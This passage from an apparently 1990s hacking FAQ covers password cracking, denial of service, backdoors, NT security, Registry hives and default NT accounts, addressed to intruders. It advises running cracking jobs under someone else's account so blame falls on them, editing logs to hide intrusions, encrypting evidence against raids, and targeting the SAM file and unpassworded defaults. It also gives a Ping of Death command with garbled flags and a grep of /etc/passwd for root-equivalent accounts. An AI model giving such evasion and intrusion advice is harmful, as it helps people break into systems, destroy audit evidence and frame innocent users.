  765.  
  766.   A brute force cracker simply tries all possible passwords until it
  767.   gets the password. From a cracker perspective, this is usually very
  768.   time consuming. However, given enough time and CPU power the password
  769.   eventually gets cracked.
  770.  
  771.   Most modern brute force crackers allow a number of options to be
  772.   specified, such as maximum password length or characters to brute
  773.   force with.
  774.  
  775.  
  776.   44..55..  WWhhiicchh mmeetthhoodd iiss bbeesstt ffoorr ccrraacckkiinngg??
  777.  
  778.   It really depends on your goal, the cracking software you have, and
  779.   the operating system you are trying to crack. Let's go through several
  780.   scenarios.
  781.  
  782.   If you remotely retrieved the password file to a system through some
  783.   system bug, your goal may be to simply get logged into that system.
  784.   With the password file you now have the user accounts and the hashes.
  785.   A dictionary attack seems like the quickest method, as you may simply
  786.   want access to the box. This is typical if you have a method of
  787.   leveraging basic access to gain god status.
  788.  
  789.   If you already have basic access and used this access to get the
  790.   password file, maybe you have a particular account you wish to crack.
  791.   While a couple of swipes with a dictionary cracker might help, brute
  792.   force may be the way to go.
  793.   If your cracking software does both dictionary and brute force, and
  794.   both are quite slow, you may just wish to kick off a brute force
  795.   attack and then go about your day. By all means I recommend a
  796.   dictionary attack with a pre-treated wordlist first, followed up by
  797.   brute force only on the accounts you really want the password to.
  798.  
  799.   You should pre-treat your wordlists if the machine you are going to be
  800.   cracking from bottlenecks more at the CPU than at the disk controller.
  801.   For example, some slower computers with extremely fast drives make
  802.   good candidates for large pre-treated wordlists, but if you have the
  803.   CPU cycles to spare you might want to let the cracking program's
  804.   manipulation filters do their thing.
  805.  
  806.   A lot of serious hackers have a large wordlist in both regular and
  807.   pre-treated form to accommodate either need.
  808.  
  809.  
  810.   44..66..  WWhhaatt iiss aa ""ssaalltt""??
  811.  
  812.   To increase the overhead in cracking passwords, some algorithms employ
  813.   salts to add further complexity and difficulty to the cracking of
  814.   passwords. These salts are typically 2 to 8 bytes in length, and
  815.   algorithmically introduced to further obfuscate the one-way hash. On
  816.   the major operating system covered here, only NT does not use a salt.
  817.   The specifics for salts for both Unix and Netware systems are covered
  818.   in their individual password sections.
  819.  
  820.   Historically the way cracking has been done is to take a potential
  821.   password, encrypt it and produce the hash, and then compare the result
  822.   to each account in the password file. By adding a salt, you force the
  823.   cracker to have to read the salt in and encrypt the potential password
  824.   with each salt present in the password file. This increases the amount
  825.   of time to break ALL of the passwords, although it is certainly no
  826.   guarantee that the passwords can't be cracked. Because of this most
  827.   modern password crackers when dealing with salts do give the option of
  828.   checking a specific account.
  829.  
  830.  
  831.   44..77..  WWhhaatt aarree tthhee ""ddaannggeerrss"" ooff ccrraacckkiinngg ppaasssswwoorrddss??
  832.  
  833.   The dangers are quite simple, and quite real. If you are caught with a
  834.   password file from a system you do not have legitimate access to, you
  835.   are technically in possession of stolen property in the eyes of the
  836.   law. For this reason some hackers like to run cracking on someone
  837.   else's systems, thereby limiting their liability. I would only
  838.   recommend doing this on a system you have a legitimate or well
  839.   established account on if you wish to keep a good eye on things, but
  840.   perhaps have a way of running the cracking software under a different
  841.   account than your own. This way, if the cracking is discovered (as it
  842.   often is -- cracking is fairly CPU intensive), it looks to belong to
  843.   someone else. Obviously you would want to run this under system
  844.   adminstrator priviledges as you may have a bit more control, such as
  845.   assigning lower priority to the cracking software, and hiding the
  846.   results (making it less obvious to the real administrator). Being on a
  847.   system you have legit access to also allows you better access to check
  848.   on the progress. Of course if it is known you are a hacker, you'll
  849.   still be the first to be blamed whether the cracking software is yours
  850.   or not!
  851.  
  852.   Running the cracking software in the privacy of your own home has the
  853.   advantage of allowing you to throw any and all computing power you
  854.   have at your disposal at a password, but if caught (say you get
  855.   raided) then there is little doubt whose cracking job is running ;-)
  856.   but there are a couple of things you can do to protect yourself.
  857.  
  858.  
  859.   First, encrypt your files. Only decrypt them when you are viewing
  860.   them, and wipe and/or encrypt them back after you are done viewing
  861.   them. Also, have a legitimate copy of the OS whose password you are
  862.   trying to correct, and import the one-way hash into your own password
  863.   file. Therefore you are cracking "your own" passwords to protect your
  864.   own system. Granted this isn't exactly foolproof, but it could only
  865.   help.
  866.  
  867.  
  868.  
  869.   55..  DDeenniiaall ooff SSeerrvviiccee BBaassiiccss
  870.  
  871.   This section covers basic info regarding "Denial of Service".
  872.  
  873.  
  874.   55..11..  WWhhaatt iiss ""DDeenniiaall ooff SSeerrvviiccee""??
  875.  
  876.   Denial of Service (DoS) is simply rendering a service offered by a
  877.   workstation or server unavailable to others. This is a controversial
  878.   subject, since some people think that DoS is not a hack, or rather
  879.   juvenile and petty. While I can't think of very many reasons why you
  880.   might want to engage in DoS, I still will continue to include this
  881.   type of material in the Hack FAQ. What is more sad -- the fact that I
  882.   include them, or the fact that there are so many of them?
  883.  
  884.   Regardless of your feelings, DoS has been steadily gaining in
  885.   popularity, be it hackers mad at other hackers, sys admins mad at
  886.   spammers, or whatever -- virtually everyone I've run into that is
  887.   aware of the potential of DoS at least has software to do it, admins
  888.   included.
  889.  
  890.   Reasons that a hacker might want to resort to DoS might include the
  891.   following:
  892.  
  893.  
  894.   +o  A trojan has been installed, but a reboot is required to activate
  895.      it.
  896.  
  897.   +o  A hacker wishes to cover their tracks VERY DRAMATICALLY, or cover
  898.      CPU activity with a random crash to make the site think it was
  899.      "just a fluke".
  900.  
  901.   +o  The hacker isn't a hacker at all, but a pissed off lamer who has a
  902.      poor outlook and too much free time.
  903.  
  904.   +o  The hacker is acting out of the need (or delusion) that the DoS
  905.      serves a greater good, such as a DoS attack on Pro Life sites by
  906.      Pro Choice believers.
  907.  
  908.   Reasons that a Sys Admin might use DoS:
  909.  
  910.  
  911.   +o  A Sys Admin may want to ensure that their site is NOT vulnerable by
  912.      testing out the latest patch.
  913.  
  914.   +o  A Sys Admin has a runaway process on a server causing problems and
  915.      cannot physically access the box (I have officially done this twice
  916.      now).
  917.  
  918.   +o  The Sys Admin isn't a Sys Admin at all, but a pissed off lamer who
  919.      has a poor outlook and too much free time.
  920.  
  921.  
  922.  
  923.  
  924.  
  925.   55..22..  WWhhaatt iiss tthhee PPiinngg ooff DDeeaatthh??
  926.  
  927.   The Ping of Death is a large ICMP packet sent by a workstation to a
  928.   target. The target receives the ping in fragments and starts
  929.   reassembling the packet. However, due to the size of the packet once
  930.   it is reassembled it is too big for the buffer and overflows it.  This
  931.   causes unpredictable results, such as reboots or system hangs.
  932.  
  933.   Windows 95 and Windows NT are capable of sending such a packet. By
  934.   simply typing in "ping -165527 -s 1 target" you can send such a ping.
  935.   There are also source code examples available for Unix platforms that
  936.   allow large ping packets to be constructed.  These sources are freely
  937.   available on the Internet.
  938.  
  939.   Most systems have patches available to prevent Ping of Death from
  940.   working.
  941.  
  942.  
  943.   55..33..  WWhhaatt iiss aa SSYYNN FFlloooodd aattttaacckk??
  944.  
  945.   In the TCP/IP protocol, a three way handshake takes place as a service
  946.   is connected to.  First in a SYN packet from the client, with which
  947.   the service responses with a SYN-ACK.  Finally the client responds to
  948.   the SYN-ACK and the conversation is considered started.
  949.  
  950.   A SYN Flood attack is when the client does not response to the SYN-
  951.   ACK, tying up the service until the service times out, and continues
  952.   to send SYN packets. The source address of the client is forged to a
  953.   non-existant host, and as long as the SYN packets are sent faster than
  954.   the timeout rate of the TCP stack waiting for the time out, the
  955.   resources of the service will be tied up.
  956.  
  957.   This is a simplified version of what exactly happens. For more
  958.   elaborate details and sample Linux code for creating a flood, see
  959.   Phrack 48 file 13 by daemon9.
  960.  
  961.  
  962.   55..44..  WWhhaatt aarree ootthheerr ppooppuullaarr DDeenniiaall ooff SSeerrvviiccee aattttaacckkss??
  963.  
  964.   Most others involve ICMP packets (re: ping) and creating massive
  965.   floods of ICMP traffic, or other packet malformations. Search the net
  966.   for smurf.c or teardrop.c for more details.
  967.  
  968.  
  969.  
  970.   66..  MMiisscc IInnffoo
  971.  
  972.   This section contains miscellaneous information regarding hacking
  973.   basics.
  974.  
  975.  
  976.   66..11..  WWhhaatt iiss aa ""bbaacckkddoooorr""??
  977.  
  978.   A backdoor is simply a way back into a system that not only bypasses
  979.   existing security to regain access, but may even defeat any additional
  980.   security enhancements added onto a system.
  981.  
  982.   Backdoors can range from the simple to the exotic. Simple backdoors
  983.   might include creating a new user account just for your intrusion
  984.   needs, or taking over a little-used account. More complex backdoors
  985.   may bypass regular access completely and involve trojans, such as a
  986.   login program that gives you administrative access if you type in a
  987.   special password.
  988.  
  989.   Backdoors can be chained together, which is the technique used by most
  990.   hackers. This involves a combination of techniques. For example, one
  991.   or more accounts that have basic user access may have had their
  992.   passwords cracked, and one or more accounts may be created by the
  993.   hacker. Once the system is accessed by the hacker, the hacker may
  994.   activate some technique or exploit a system misconfiguration that
  995.   allows greater access. Often a hacker will lower the defenses in
  996.   certain areas by slightly altering system configuration files. Perhaps
  997.   a trojan program has been installed that will open holes upon command
  998.   by the hacker. Some of these techniques will be discussed in detail in
  999.   the individual operating system sections of this FAQ.
  1000.  
  1001.  
  1002.   66..22..  WWhhyy ddoo II ccaarree aabboouutt aauuddiittiinngg,, aaccccoouunnttiinngg,, aanndd llooggggiinngg??
  1003.  
  1004.   Auditing, accounting, logging -- call it what you will, these are
  1005.   things used to create permanent or semi-permanent records of events on
  1006.   a system. Unfortunately these can record your intrusion activities,
  1007.   sometimes in explicit and evidence-worthy detail.  Therefore potential
  1008.   intruders should not only be aware of what record keeping is available
  1009.   (either as a regular feature of the system or as add-ons) and have
  1010.   possible methods for defeating such recordings.
  1011.  
  1012.   Some types of logging include simple text files with entries showing
  1013.   logins and logouts, maybe failed logins. Others show what programs
  1014.   were accessed, which programs were attempted to be run and the request
  1015.   failed, or keep track of an individual's disk usage. All can reveil
  1016.   info that can allow an administrator to reconstruct an attack.
  1017.  
  1018.  
  1019.   66..33..  WWhhaatt aarree ssoommee ddiiffffeerreenntt llooggggiinngg tteecchhnniiqquueess uusseedd bbyy AAddmmiinnss??
  1020.  
  1021.   Admins generally prefer to use simple logging techniques so as not to
  1022.   pile onto their current workload. Logs take up space. Large log files
  1023.   are sometimes very difficult to sift through as sys admins are looking
  1024.   for problems. These logs are usually stored in directories generally
  1025.   protected from casual viewing, or at least editing.
  1026.  
  1027.  
  1028.   66..44..  WWhhyy sshhoouulldd II nnoott jjuusstt ddeelleettee tthhee lloogg ffiilleess??
  1029.  
  1030.   Typically log files do not disappear. This might lead a curious sys
  1031.   admin to poke around looking for problems, and the paranoid sys admin
  1032.   to look for intruders. The logs should be edited if possible, or the
  1033.   entries made into them made to look as normal as possible.
  1034.  
  1035.  
  1036.   66..55..  WWhhaatt iiss aa bbuuffffeerr oovveerrffllooww??
  1037.  
  1038.   A buffer overflow is when a buffer was assigned by a programmer to
  1039.   hold variable data, and the variable data placed into that buffer is
  1040.   greater that the size of the initial assignment of the buffer.
  1041.   Depending on the operating system and exactly what the "extra" data
  1042.   overflowing the buffer is, this can be used by a hacker to cause
  1043.   portions of a system to fail, or even execute arbitrary code.
  1044.  
  1045.   Most buffer overflow exploits center around user-supplied data
  1046.   exceeding a buffer, and the extra data being executed on the stack to
  1047.   open up additional access. Buffer overflows exist on all major network
  1048.   operating systems.
  1049.  
  1050.  
  1051.  
  1052.   77..  NNTT BBaassiiccss
  1053.  
  1054.   This section deals with the basics and other background info to help
  1055.   prepare for NT hacking.
  1056.  
  1057.   77..11..  WWhhaatt aarree tthhee ccoommppoonneennttss ooff NNTT sseeccuurriittyy??
  1058.  
  1059.   There are several different components. Each has a role within the
  1060.   overall NT security model. Because of the amount and complexity of
  1061.   components in the security model, not only should the individual
  1062.   components be explored, but how they work together should be explored.
  1063.  
  1064.  
  1065.   Local Security Authority (LSA)
  1066.   ------------------------------
  1067.  
  1068.  
  1069.  
  1070.   This is also known as the Security Subsystem. It is the central
  1071.   component of NT security. It handles local security policy and user
  1072.   authentication. LSA also handles generating and logging audit
  1073.   messages.
  1074.  
  1075.  
  1076.   Security Account Manager (SAM)
  1077.   ------------------------------
  1078.  
  1079.  
  1080.  
  1081.   SAM handles user and group accounts, and provides user authentication
  1082.   for LSA.
  1083.  
  1084.  
  1085.   Security Reference Monitor (SRM)
  1086.   --------------------------------
  1087.  
  1088.  
  1089.  
  1090.   SRM enforces access validation and auditing for LSA. It checks user
  1091.   accounts as the user tries to access various files, directories, etc,
  1092.   and either allows or denies access.  Auditing messages are generated
  1093.   as a result. The SRM contains a copy of the access validation code to
  1094.   ensure that resources are protected uniformly throughout the system,
  1095.   regardless of resource type.
  1096.  
  1097.  
  1098.   User Interface (UI)
  1099.   -------------------
  1100.  
  1101.  
  1102.  
  1103.   An important part of the security model, the UI is mainly all that the
  1104.   end user sees, and is how most of the administration can be performed.
  1105.  
  1106.  
  1107.   77..22..  HHooww ddooeess tthhee aauutthheennttiiccaattiioonn ooff aa uusseerr aaccttuuaallllyy wwoorrkk??
  1108.  
  1109.   First, a user logs on. When this happens, NT creates a token object
  1110.   that represents that user. Each process the user runs is associated
  1111.   with this token (or a copy of it). The token-process combination is
  1112.   refered to as a subject. As subjects access objects such as files and
  1113.   directories, NT checks the subject's token with the Access Control
  1114.   List (ACL) of the object and determines whether to allow the access or
  1115.   not. This may also generate an audit message.
  1116.  
  1117.  
  1118.   77..33..  WWhhaatt iiss ""ssttaannddaalloonnee"" vvss.. ""wwoorrkkggrroouupp"" vvss.. ""ddoommaaiinn""??
  1119.  
  1120.   Each NT workstation participates in either a workgroup or a domain.
  1121.   Most companies will have NT workstations participate in a domain for
  1122.   management of the resource by the administrator.
  1123.   A domain is one or more servers running NT server with all of the
  1124.   servers functioning as a single system. The domain not only contains
  1125.   servers, but NT workstations, Windows for Workgroups machines, and
  1126.   even LAN Manager 2.x machines. The user and group database covers ALL
  1127.   of the resources of a domain.
  1128.  
  1129.   Domains can be linked together via trusted domains. The advantage of
  1130.   trusted domains is that a user only needs one user account and
  1131.   password to get to resources across multiple domains, and
  1132.   administrators can centrally manage the resources.
  1133.  
  1134.   A workgroup is simply a grouping of workstations that do not belong to
  1135.   a domain. A standalone NT workstation is a special case workgroup.
  1136.  
  1137.   User and group accounts are handled differently between domain and
  1138.   workgroup situations.  User accounts can be defined on a local or
  1139.   domain level. A local user account can only logon to that local
  1140.   computer, while a domain account can logon from any workstation in the
  1141.   domain.
  1142.  
  1143.   Global group accounts are defined at a domain level. A global group
  1144.   account is an easy way to grant access to a subset of users in a
  1145.   domain to, say, a single directory or file located on a particular
  1146.   server within the domain. Local group accounts are defined on each
  1147.   computer. A local group account can have global group accounts and
  1148.   user accounts as members.
  1149.  
  1150.   In a domain, the user and group database is "shared" by the servers.
  1151.   NT workstations in the domain DO NOT have a copy of the user and group
  1152.   database, but can access the database. In a workgroup, each computer
  1153.   in the workgroup has its own database, and does not share this
  1154.   information.
  1155.  
  1156.  
  1157.   77..44..  WWhhaatt iiss aa SSeerrvviiccee PPaacckk??
  1158.  
  1159.   Microsoft maintains a large online database of fixes for operating
  1160.   systems and applications. These fixes are refered to as Service Packs.
  1161.   NT has its share, and typically the latest Service Pack has the latest
  1162.   fixes, including security patches.
  1163.  
  1164.   Installing a Service Pack is NOT something to be taken lightly -- to
  1165.   turn on or off some features involves some Registry editing.
  1166.   Installation can in some circumstances disable or cause conflicts.
  1167.   Often after a new product has been loaded, even a Microsoft product,
  1168.   you must reinstall the Service Pack. For this reason, LAN
  1169.   administrators often neglect the timely installation of Service Packs.
  1170.   For the hacker, this is a decided advantage -- especially if the site
  1171.   has numerous NT servers and workstations in need of patching. One day
  1172.   maybe Microsoft will make Service Pack installation a little less
  1173.   painless, but until then you will find MANY locations will be either
  1174.   under-patched or not patched at all.
  1175.  
  1176.   Typically Service Packs are fairly well tested, although this is no
  1177.   guarantee everything is "fixed". Admins should not place 100% of their
  1178.   faith in them, but then hackers should not underestimate their value
  1179.   in closing holes.
  1180.  
  1181.  
  1182.   77..55..  WWhhaatt iiss aa HHoott FFiixx??
  1183.  
  1184.   A Hot Fix is what is released between Service Pack releases. A Hot Fix
  1185.   is generally released to address a specific problem or condition. Some
  1186.   Hot Fixes may have a prerequisite of a certain Service Pack, and are
  1187.   typically included in the next Service Pack.
  1188.  
  1189.   Once again, some of the Hot Fixes are downright dangerous to monkey
  1190.   around with, and many LAN folks will simply neglect installation
  1191.   especially at large NT shops. And once again this is good news for the
  1192.   hacker.
  1193.  
  1194.   Hot Fixes are not as well tested as the Service Packs are -- often
  1195.   they are released after headline-grabbing security flaws are
  1196.   announced, so they are often rushed to press.
  1197.  
  1198.  
  1199.   77..66..  WWhheerree aarree SSeerrvviiccee PPaacckkss aanndd HHoott FFiixxeess??
  1200.  
  1201.   The main location for Service Packs can be found at
  1202.   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/xxx/yyy/zzz
  1203.   where xxx is the country, yyy is the NT version, and zzz is the
  1204.   Service Pack. For example, this is the address for the USA version of
  1205.   Service Pack 3 for NT 4:
  1206.  
  1207.   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/ussp3
  1208.  
  1209.   The main location for Hot Fixes can be found at
  1210.   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/xxx/yyy/zzz
  1211.   where xxx is the country, yyy is the NT version, and zzz is the Hot
  1212.   Fix directory. For example, this is the address for the USA versions
  1213.   of Hot Fixes for NT 4 if Service Pack 3 is already installed:
  1214.  
  1215.   ftp://ftp.microsoft.com/bussys/winnt/winnt-
  1216.   public/fixes/usa/nt40/hotfixes-postSP3
  1217.  
  1218.  
  1219.   77..77..  WWhhaatt''ss wwiitthh ""CC22 cceerrttiiffiiccaattiioonn""??
  1220.  
  1221.   I'm not going to get into a bunch of detail on this. There are far
  1222.   better places to go for the info, but I will state this -- running the
  1223.   c2config utility to "lock down" your system will not protect you if
  1224.   you want to run third party software, use the floppy drive, or connect
  1225.   to the network. It is simply a marketing tactic used by Microsoft. The
  1226.   C2 tested configuration had no network access and no floppy drive. Who
  1227.   wants to use that?
  1228.  
  1229.   And keep in mind that C2 certification does not consider a number of
  1230.   common sense items such as a hard-to-guess password. I can see some
  1231.   value in running the c2config utility and "opening up" the system as
  1232.   needed to make it useable, but this is a lot of work and beyond the
  1233.   scope of what I'm discussing here.
  1234.  
  1235.  
  1236.   77..88..  AArree tthheerree aarree iinntteerreessttiinngg ddeeffaauulltt ggrroouuppss ttoo bbee aawwaarree ooff??
  1237.  
  1238.   There are a number of built-in local groups can do various functions,
  1239.   some which would be better off being left to the Administrator.
  1240.   Administrators can do everything, but the following groups' members
  1241.   can do a few extra items (I only verified this on 4.0):
  1242.  
  1243.  
  1244.   +o  Server Operators: do a shutdown, even remotely; reset the system
  1245.      time; perform backups and restores.
  1246.  
  1247.   +o  Backup Operators: do a shutdown; perform backups and restores.
  1248.  
  1249.   +o  Account Operators: do a shutdown.
  1250.  
  1251.   +o  Print Operators: do a shutdown.
  1252.  
  1253.   Also members of these groups can login at the console. As you explore
  1254.   the NT sections of this FAQ and possibly someone else's server,
  1255.   remember these permissions. Gaining a Server Operator account and
  1256.   placing a trojan that activates after a remote shutdown could get you
  1257.   Administrator.
  1258.  
  1259.  
  1260.   77..99..  WWhhaatt aarree tthhee ddeeffaauulltt ddiirreeccttoorryy ppeerrmmiissssiioonnss??
  1261.  
  1262.   Like the previous question, I only verified these on 4.0. And
  1263.   remember, Administrators are deities. Otherwise, if it isn't here, the
  1264.   group doesn't have access.
  1265.  
  1266.   \(root), \SYSTEM32, \WIN32APP - Server Operators and Everyone can read
  1267.   and execute files, display permissions on files, and do some changing
  1268.   on file attributes.
  1269.  
  1270.   \SYSTEM32\CONFIG - Everyone can list filenames in this directory.
  1271.  
  1272.   \SYSTEM32\DRIVERS, \SYSTEM\REPL - Server Operators have full access,
  1273.   Everyone has read access.
  1274.  
  1275.   \SYSTEM32\SPOOL - Server Operators and Print Operator have full
  1276.   access, Everyone has read access.
  1277.  
  1278.   \SYSTEM32\REPL\EXPORT - Server Operators can read and execute files,
  1279.   display permissions on files, and do some changing on file attributes.
  1280.   Replicator has read access.
  1281.  
  1282.   \SYSTEM32\REPL\IMPORT - Server Operators and Replicator can read and
  1283.   execute files, display permissions on files, and do some changing on
  1284.   file attributes. Everyone has read access.
  1285.  
  1286.   \USERS - Account Operators can read, write, delete, and execute.
  1287.   Everyone can list filenames in this directory.
  1288.  
  1289.   \USERS\DEFAULT - Everyone has read, write, and execute.
  1290.  
  1291.  
  1292.   77..1100..  AArree tthheerree aannyy ssppeecciiaall rreessttrriiccttiioonnss ssuurrrroouunnddiinngg tthhee AAddmmiinniissttrraa--
  1293.   ttiivvee TToooollss ggrroouupp iinn PPrreesseennttaattiioonn MMaannaaggeerr??
  1294.  
  1295.   The following tools have the following default group restrictions in
  1296.   4.0:
  1297.  
  1298.   Disk Administrator - Must be a member of the Administrators group.
  1299.  
  1300.   Event Log - Anyone can run Event Viewer, but only members of the
  1301.   Administrators group can clear logs or view the Security Log.
  1302.  
  1303.   Backup - Anyone can backup a file they have normal access to, but only
  1304.   the Administrators and Backup Operators can over override normal
  1305.   access.
  1306.  
  1307.   User Manager - Users and Power Users can create and manage local
  1308.   groups.
  1309.  
  1310.   User Manager for Domains - Users and Power Users can create and manage
  1311.   local groups if logged on at the server console, otherwise it is
  1312.   restricted to Administrators and Account Operators.
  1313.  
  1314.   Server Manager - Only Administrators, Domain Admins, and Server
  1315.   Operators can use this on domains they have an account on. Account
  1316.   Operators can only add new accounts to the domain. Some features in
  1317.   Server Manager can only be used by the Administrators and Domain
  1318.   Admins.
  1319.  
  1320.  
  1321.   77..1111..  WWhhaatt iiss tthhee RReeggiissttrryy??
  1322.  
  1323.   The Registry is the central core registrar for Windows NT. Each NT
  1324.   workstation or server has its own Registry, and each one contains info
  1325.   on the hardware and software of the computer it resides on. For
  1326.   example, comm port definitions, Ethernet card settings, desktop
  1327.   setting and profiles, and what a particular user can and cannot do are
  1328.   stored in the Registry. Remember those ugly system INI files in
  1329.   Windows 3.1? Well, they are all included with even more fun stuff into
  1330.   one big database called the Registry in NT.
  1331.  
  1332.   Of interest to hackers is the fact that all access control and
  1333.   assorted parameters are located in the Registry. While I'm tempted to
  1334.   discuss just that portion of the Registry, I'll briefly cover
  1335.   everything for completeness but put the fun stuff up front.
  1336.  
  1337.   The Registry contains thousands of individual items of data, and are
  1338.   grouped together into "keys" or some type of optional value. These
  1339.   keys are grouped together into subtrees -- placing like keys together
  1340.   and making copies of others into separate trees for more convenient
  1341.   system access.
  1342.  
  1343.   The Registry is divided into four separate subtrees. These subtrees
  1344.   are called HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE,
  1345.   and HKEY_USERS. We'll go through them from most important to the
  1346.   hacker to least important to the hacker.
  1347.  
  1348.   First and formost is the HKEY_LOCAL_MACHINE subtree. It contains five
  1349.   different keys.  These keys are as follows:
  1350.  
  1351.  
  1352.   +o  SAM and SECURITY - These keys contain the info such as user rights,
  1353.      user and group info for the domain (or workgroup if there is no
  1354.      domain), and passwords. In the NT hacker game of capture the flag,
  1355.      this is the flag. Bag this and all bets are off.
  1356.  
  1357.      The keys are binary data only (for security reasons) and are
  1358.      typically not accessible unless you are an Administrator or in the
  1359.      Administrators group. It is easier to copy the data and play with
  1360.      it offline than to work on directly. This is discussed in a little
  1361.      more detail in the ``NT Password'' section.
  1362.  
  1363.   +o  HARDWARE - this is a storage database of throw-away data that
  1364.      describes the hardware components of the computer. Device drivers
  1365.      and applications build this database during boot and update it
  1366.      during runtime (although most of the database is updated during the
  1367.      boot process). When the computer is rebooted, the data is built
  1368.      again from scratch. It is not recommended to directly edit this
  1369.      particular database unless you can read hex easily.
  1370.  
  1371.      There are three subkeys under HARDWARE, these are the Description
  1372.      key, the DeviceMap key, and the ResourceMap key. The Description
  1373.      key has describes each hardware resource, the DeviceMap key has
  1374.      data in it specific to individual groups of drivers, and the
  1375.      ResourceMap key tells which driver goes with which resource.
  1376.  
  1377.   +o  SYSTEM - This key contains basic operating stuff like what happens
  1378.      at startup, what device drivers are loaded, what services are in
  1379.      use, etc. These are split into ControlSets which have unique system
  1380.      configurations (some bootable, some not), with each ControlSet
  1381.      containing service data and OS components for that ControlSet. Ever
  1382.      had to boot from the "Last Known Good" configuration because
  1383.      something got hosed? That is a ControlSet stored here.
  1384.  
  1385.   +o  SOFTWARE - This key has info on software loaded locally. File
  1386.      associations, OLE info, and some miscellaneous configuration data
  1387.      is located here.
  1388.  
  1389.   The second most important main key is HKEY_USERS. It contains a subkey
  1390.   for each local user who accesses the system, either locally or
  1391.   remotely. If the server is a part of a domain and logs in across the
  1392.   network, their subkey is not stored here, but on a Domain Controller.
  1393.   Things such as Desktop settings and user profiles are stored here.
  1394.  
  1395.   The third and fourth main keys, HKEY_CURRENT_USER and
  1396.   HKEY_CLASSES_ROOT, contain copies of portions of HKEY_USERS and
  1397.   HKEY_LOCAL_MACHINE respectively. HKEY_CURRENT_USER contains exactly
  1398.   would you would expect, a copy of the subkey from HKEY_USERS of the
  1399.   currently logged in user. HKEY_CLASSES_ROOT contains a part of
  1400.   HKEY_LOCAL_MACHINE, specifically from the SOFTWARE subkey. File
  1401.   associations, OLE configuration and dependency information.
  1402.  
  1403.  
  1404.   77..1122..  WWhhaatt aarree hhiivveess??
  1405.  
  1406.   Hives are the major subdivisions of all of these subtrees, keys,
  1407.   subkeys, and values that make up the Registry. They contains "related"
  1408.   data. Look, I know what you might be thinking, but this is just how
  1409.   Microsoft divided things up -- I'm just relaying the info, even I
  1410.   don't know exactly what all the advantages to this setup are. ;-)
  1411.  
  1412.   All hives are stored in %systemroot%\SYSTEM32\CONFIG. The major hives
  1413.   and their files are as follows:
  1414.  
  1415.  
  1416.   Hive                         File      Backup File
  1417.   ---------------------------  ------    ------------
  1418.  
  1419.   HKEY_LOCAL_MACHINE\SOFTWARE  SOFTWARE  SOFTWARE.LOG
  1420.   HKEY_LOCAL_MACHINE\SECURITY  SECURITY  SECURITY.LOG
  1421.   HKEY_LOCAL_MACHINE\SYSTEM    SYSTEM    SYSTEM.LOG
  1422.   HKEY_LOCAL_MACHINE\SAM       SAM       SAM.LOG
  1423.   HKEY_CURRENT_USER            USERxxx   USERxxx.LOG
  1424.                                ADMINxxx  ADMINxxx.LOG
  1425.   HKEY_USERS\.DEFAULT          DEFAULT   DEFAULT.LOG
  1426.  
  1427.  
  1428.  
  1429.   Hackers should look for the SAM file, with the SAM.LOG file as a
  1430.   secondary target. This contains the password info.
  1431.  
  1432.  
  1433.   77..1133..  WWhhyy iiss tthhee RReeggiissttrryy lliikkee tthhiiss aanndd wwhhyy ddoo II ccaarree??
  1434.  
  1435.   Who the hell knows why it's this way? ;-)
  1436.  
  1437.   The main reason is a step towards central administration and combining
  1438.   all that crap from SYSTEM.INI, WIN.INI, and other "legacy" Windows 3.x
  1439.   config stuff into one database.  Then nice and neat individual GUI
  1440.   applications could be used to manipulate the data contained inside.
  1441.   And with the idea of a "domain" there are some "centralized"
  1442.   functionalities that are a little more convenient.
  1443.  
  1444.   Is it better than Windows 3.x? This is debatable, although in my
  1445.   personal opinion I'd say yes. Were the design functions met? Probably
  1446.   not. While the Registry tries to be all things to all subcomponents of
  1447.   a domain, it does tend to smell like there were too many cooks in
  1448.   Microsoft's kitchen and simply not enough spoons. Some functions seem
  1449.   to be well suited for the Registry, some not. It is certainly not
  1450.   "portable" like Novell's NDS, that is you will probably never find the
  1451.   Registry running on a Unix system, whereas Novell's NDS is a much
  1452.   simpler design and is quite portable. Both schemes have their place --
  1453.   NDS does not contain or manage OS info at the Desktop level and the
  1454.   Registry does.
  1455.  
  1456.   Who wins? My guess is the people currently offering training classes
  1457.   in any modern OS are probably loving this because it is so complex,
  1458.   therefore it is guaranteed income.  And hackers also win, because this
  1459.   is a complex environment where one wrong parameter setting or one Hot
  1460.   Fix not loaded could mean free and easy access.
  1461.  
  1462.   My main advice to hackers is to play around with the Registry on home
  1463.   systems before the attack, because as you go further and further into
  1464.   an NT environment, you stand more chances of screwing things up, which
  1465.   is an easy way to make yourself known.
  1466.  
  1467.  
  1468.  
  1469.   88..  NNTT AAccccoouunnttss
  1470.  
  1471.   The following section deals with Accounts on NT systems.
  1472.  
  1473.  
  1474.   88..11..  WWhhaatt aarree ccoommmmoonn aaccccoouunnttss aanndd ppaasssswwoorrddss iinn NNTT??
  1475.  
  1476.   There are two accounts that come with NT out of the box --
  1477.   administrator and guest. In a network environment, I have run into
  1478.   local administrator access unpassworded, since the Sys Admin thought
  1479.   that global accounts ruled over local ones. Therefore it is possible
  1480.   to gain initial access to an NT box by using its local administrator
  1481.   account with no password.
  1482.  
  1483.   Guest is another common unpassworded account, although recent
  1484.   shipments of NT disable the account by default. While it is possible
  1485.   that some companies will delete the guest account, some applications
  1486.   require it. If Microsoft Internet Studio needs to access data on
  1487.   another system, it will use guest for that remote access.
  1488.  
  1489.   NetFRAME Systems Engineers use "aaa" as the default password for new
  1490.   installs.
  1491.  
  1492.  
  1493.   88..22..  WWhhaatt iiff tthhee SSyyss AAddmmiinn hhaass rreennaammeedd tthhee AAddmmiinniissttrraattoorr aaccccoouunntt??
  1494.  
  1495.   It is possible that a Sys Admin will create a new account, give that
  1496.   account the same access as the god account, and then remove part of
  1497.   the access to the former god account. The idea here is that if you
  1498.   don't know the real god account name, you can't get in with god
  1499.   priviledges.
  1500.  
  1501.   As one might expect, this could break certain programs or functions.
  1502.   For example, what makes root the Unix god is the fact that the UID
  1503.   (User ID number) and GID (Group ID number) are both zero. Any other
  1504.   account set this way is god, and more than one can exist on a single
  1505.   system. But some programs and scripts may not look to see if the user
  1506.   running them is UID zero, they might possibly look to see if the
  1507.   user's name is root. Since often Sys Admins have a stack of stuff to
  1508.   do anyway, monkeying around with the root account is usually not done.
  1509.   If you can gain access to even a limited access account like a guest
  1510.   account, a simple grep "0:0" /etc/passwd should let you see whose god
